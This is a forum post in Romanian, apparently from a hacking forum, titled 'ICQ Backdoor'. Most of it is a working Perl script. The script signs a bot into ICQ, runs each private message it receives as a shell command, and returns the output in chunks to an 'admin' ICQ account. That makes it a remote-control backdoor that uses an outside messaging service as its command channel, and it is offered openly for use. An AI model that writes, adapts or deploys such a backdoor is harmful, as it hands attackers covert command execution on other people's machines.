Jump to content
SlicK

ICQ Backdoor

Recommended Posts

Posted

Un bot de ICQ care primeste si executa comenzi returnand rezultatul adminului..

Necesita modulul Net::OSCAR: http://search.cpan.org/~matthewg/Net-OSCAR-1.925/lib/Net/OSCAR.pm

Printscreen: http://rootb0x.com/icq.jpg

Versiune formatata si necomentata: http://rootb0x.com/icq.txt


#!/usr/bin/perl
##By SlicK [RSTZONE.NET]
use Net::OSCAR qw(:standard);

$user="12345678"; ## userul bot
$pass="xxxxxxxx"; ## parola
$admin="11111111"; ## userul adminului

sub prv ## functia care se ocupa de mesajele private
{
($oscar,$sender,$message)=@_;
open(CMD, "$message |"); @cmd=<CMD>; close(CMD); ## executa comanda
$count=0;
$buffer="";
foreach $line(@cmd)
{
if($count==10) ## pentru mesaje mai mari de 10 randuri
{
$oscar->send_im($admin,$buffer); ## trimite mesajul adminului(10 randuri)
$buffer="";
sleep(1); ## pauza intre mesaje
$count=0;
}
$buffer.=$line;
$count++;
}
$oscar->send_im($admin,$buffer); ## trimite mesajul adminului(sub 10 randuri)
}

$oscar=Net::OSCAR->new(); ## initializeaza variabila oscar
if($oscar)
{
$oscar->set_callback_im_in(\&prv); ## seteaza functia care se ocupa cu mesajele private
if($oscar->signon($user,$pass)) ## logare
{
while(1)
{
$oscar->do_one_loop(); ## diverse operatii(obligatoriu intr-un loop)
}
}
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...